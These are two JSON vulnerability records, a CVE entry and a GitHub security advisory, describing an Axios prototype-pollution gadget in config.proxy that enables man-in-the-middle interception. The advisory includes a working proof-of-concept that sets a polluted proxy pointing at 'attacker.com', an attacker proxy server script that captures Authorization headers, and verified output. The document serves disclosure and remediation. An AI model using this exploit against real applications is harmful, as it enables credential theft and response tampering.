{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any Object.prototype pollution in the application\u0027s dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack \u2014 intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker\u0027s proxy server. This vulnerability is fixed in 1.16.0."
    }
  ],
  "id": "CVE-2026-44494",
  "lastModified": "2026-06-11T17:16:33.313",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 5.8,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-06-11T17:16:33.313",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-441"
        },
        {
          "lang": "en",
          "value": "CWE-1321"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44494"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T16:04:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application\u0027s dependency tree to be escalated into a **full Man-in-the-Middle (MITM) attack** \u2014 intercepting, reading, and modifying all HTTP traffic including authentication credentials.\n\nThe HTTP adapter at `lib/adapters/http.js:670` reads `config.proxy` via standard property access, which traverses the prototype chain. Because `proxy` is **not present in Axios defaults**, the merged config object has no own `proxy` property, making it trivially injectable via prototype pollution. Once injected, `setProxy()` routes **all** HTTP requests through the attacker\u0027s proxy server.\n\nUnlike the `transformResponse` gadget (which is constrained by `assertOptions` to return `true`), the proxy gadget has **zero constraints** \u2014 the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.\n\n**Severity:** Critical (CVSS 9.4)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/adapters/http.js` (config property access on merged object)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)\n- **CWE-441:** Unintended Proxy or Intermediary (\u0027Confused Deputy\u0027)\n\n## CVSS 3.1\n\n**Score: 9.4 (Critical)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment: `Object.prototype.proxy = {host:\u0027attacker\u0027, port:8080}`. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | MITM within the application\u0027s network context |\n| Confidentiality | **High** | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) |\n| Integrity | **High** | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. **No constraints** \u2014 unlike `transformResponse` which must return `true` |\n| Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |\n\n\n### Why This Bypasses mergeConfig\n\nThe critical difference from `transformResponse`: the `proxy` property is **not in defaults** (`lib/defaults/index.js` does not set `proxy`). This means:\n\n1. `mergeConfig` iterates `Object.keys({...defaults, ...userConfig})` \u2014 `proxy` is NOT in this set\n2. `defaultToConfig2` for `proxy` is never called\n3. The merged config has **no own `proxy` property**\n4. When `http.js:670` reads `config.proxy`, JavaScript traverses the prototype chain\n5. `Object.prototype.proxy` is found \u2192 used by `setProxy()`\n\nThis is a **more direct attack path** than `transformResponse` because it doesn\u0027t even go through `mergeConfig`\u0027s merge logic \u2014 it completely bypasses it.\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically use the polluted `proxy` value when making HTTP requests. The developer\u0027s code is completely safe \u2014 no configuration errors needed.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\nImagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:\n\n```javascript\nObject.prototype.proxy = {\n  host: \u0027attacker.com\u0027,\n  port: 8080,\n  protocol: \u0027http\u0027,\n};\n```\n\n### 2. The Gadget Trigger (Safe Code)\n\nThe application makes a completely safe, hardcoded request:\n\n```javascript\n// This looks safe to the developer \u2014 no proxy configured\nconst response = await axios.get(\u0027https://api.internal.corp/secrets\u0027, {\n  auth: { username: \u0027svc-account\u0027, password: \u0027prod-key-abc123!\u0027 }\n});\n```\n\n### 3. The Execution\n\nAt `http.js:668-670`:\n```javascript\nsetProxy(\n  options,\n  config.proxy,    // \u2190 traverses prototype chain \u2192 finds polluted proxy\n  protocol + \u0027//\u0027 + parsed.hostname + (parsed.port ? \u0027:\u0027 + parsed.port : \u0027\u0027) + options.path\n);\n```\n\n`setProxy()` at `http.js:191-239` then:\n```javascript\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;    // = { host: \u0027attacker.com\u0027, port: 8080 }\n  // ...\n  if (proxy) {\n    options.hostname = proxy.hostname || proxy.host;  // \u2192 \u0027attacker.com\u0027\n    options.port = proxy.port;                         // \u2192 8080\n    options.path = location;                           // \u2192 full URL as path\n    // ...\n  }\n}\n```\n\n### 4. The Impact (Full MITM)\n\nThe attacker\u0027s proxy server receives:\n\n```http\nGET http://api.internal.corp/secrets HTTP/1.1\nHost: api.internal.corp\nAuthorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==\nUser-Agent: axios/1.15.0\nAccept: application/json, text/plain, */*\n```\n\nThe `Authorization` header contains `svc-account:prod-key-abc123!` in Base64. The attacker:\n- **Sees** every request URL, header, and body\n- **Modifies** every response (inject malicious data, change auth results)\n- **Logs** all API keys, session tokens, and passwords\n- Operates as an **invisible** proxy \u2014 the developer has no indication\n\n### 5. Verified PoC Code\n\n```javascript\nimport http from \u0027http\u0027;\nimport axios from \u0027./index.js\u0027;\n\n// Attacker\u0027s proxy server\nconst intercepted = [];\nconst proxyServer = http.createServer((req, res) =\u003e {\n  intercepted.push({\n    url: req.url,\n    authorization: req.headers.authorization,\n    headers: req.headers,\n  });\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n  res.end(\u0027{\"hijacked\":true}\u0027);\n});\nawait new Promise(r =\u003e proxyServer.listen(0, r));\nconst proxyPort = proxyServer.address().port;\n\n// Real target server\nconst realServer = http.createServer((req, res) =\u003e {\n  res.writeHead(200);\n  res.end(\u0027{\"data\":\"real\"}\u0027);\n});\nawait new Promise(r =\u003e realServer.listen(0, r));\nconst realPort = realServer.address().port;\n\n// Prototype pollution\nObject.prototype.proxy = { host: \u0027127.0.0.1\u0027, port: proxyPort, protocol: \u0027http\u0027 };\n\n// \"Safe\" request \u2014 goes through attacker\u0027s proxy\nconst resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {\n  auth: { username: \u0027admin\u0027, password: \u0027SuperSecret123!\u0027 }\n});\n\nconsole.log(\u0027Response from:\u0027, resp.data.hijacked ? \u0027ATTACKER PROXY\u0027 : \u0027real server\u0027);\nconsole.log(\u0027Intercepted Authorization:\u0027, intercepted[0]?.authorization);\n// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)\n\ndelete Object.prototype.proxy;\nrealServer.close();\nproxyServer.close();\n```\n\n## Verified PoC Output\n\n```\n[1] Normal request (before pollution):\n    Response source: real server\n    response.data: {\"data\":\"from-real-server\"}\n    Proxy intercept count: 0\n\n[2] Prototype Pollution: Object.prototype.proxy\n    Set: Object.prototype.proxy = { host: \"127.0.0.1\", port: 50879 }\n\n[3] Request after pollution (same code, same URL):\n    Response source: ATTACKER PROXY!\n    response.data: {\"data\":\"from-attacker-proxy\",\"hijacked\":true}\n\n[4] Data intercepted by attacker\u0027s proxy:\n    Full URL: http://127.0.0.1:50878/api/secrets\n    Host: 127.0.0.1:50878\n    Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh\n    All headers: {\n      \"accept\": \"application/json, text/plain, */*\",\n      \"user-agent\": \"axios/1.15.0\",\n      \"accept-encoding\": \"gzip, compress, deflate, br\",\n      \"host\": \"127.0.0.1:50878\",\n      \"authorization\": \"Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh\",\n      \"connection\": \"keep-alive\"\n    }\n\n[5] Attacker capabilities demonstrated:\n    \u2713 Full URL visible (including internal hostnames)\n    \u2713 Authorization header visible (Base64-encoded credentials)\n    \u2713 Can modify/forge response data\n    \u2713 Affects ALL axios HTTP requests (not just a single instance)\n    \u2713 No assertOptions constraints (unlike transformResponse gadget)\n```\n\n## Impact Analysis\n\n- **Full Credential Interception:** Every HTTP request\u0027s `Authorization` header, cookies, API keys, and request bodies are visible to the attacker\u0027s proxy in plaintext.\n- **Arbitrary Response Tampering:** The attacker can return any response data \u2014 no constraints like `transformResponse`\u0027s \"must return true\".\n- **Internal Network Reconnaissance:** The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.\n- **Universal Scope:** Affects every axios HTTP request in the application, including all third-party libraries that use axios.\n- **Invisible Attack:** The developer has no indication that a proxy has been injected \u2014 requests complete normally with attacker-controlled responses.\n- **Bypass of 1.15.0 Fix:** The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.\n\n### Why This Is More Severe Than transformResponse (axios_26)\n\n| Dimension | transformResponse Gadget | **proxy Gadget** |\n|---|---|---|\n| Data access | `this.auth` + response data | **All headers, auth, body, URL, response** |\n| Response control | Must return `true` | **Arbitrary responses** |\n| Attack visibility | Response becomes `true` (suspicious) | **Normal-looking responses (invisible)** |\n| mergeConfig involvement | Goes through defaultToConfig2 | **Bypasses mergeConfig entirely** |\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` when reading security-sensitive config properties\n\n```javascript\n// In lib/adapters/http.js\nconst proxy = Object.prototype.hasOwnProperty.call(config, \u0027proxy\u0027) ? config.proxy : undefined;\nsetProxy(options, proxy, location);\n```\n\n### Fix 2: Enumerate all properties not in defaults and apply `hasOwnProperty`\n\nProperties not in defaults that are read by http.js and have security impact:\n- `config.proxy` \u2014 MITM\n- `config.socketPath` \u2014 Unix socket SSRF\n- `config.transport` \u2014 request hijack\n- `config.lookup` \u2014 DNS hijack\n- `config.beforeRedirect` \u2014 redirect manipulation\n- `config.httpAgent` / `config.httpsAgent` \u2014 agent injection\n\nAll should use `hasOwnProperty` checks.\n\n### Fix 3: Use null-prototype object for merged config\n\n```javascript\n// In lib/core/mergeConfig.js\nconst config = Object.create(null);\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-441: Unintended Proxy](https://cwe.mitre.org/data/definitions/441.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-16 | Vulnerability discovered during source code audit |\n| 2026-04-16 | PoC developed and verified \u2014 full MITM confirmed |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
  "id": "GHSA-35jp-ww65-95wh",
  "modified": "2026-05-29T16:04:00Z",
  "published": "2026-05-29T16:04:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-fvcv-3m26-pcqx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`"
}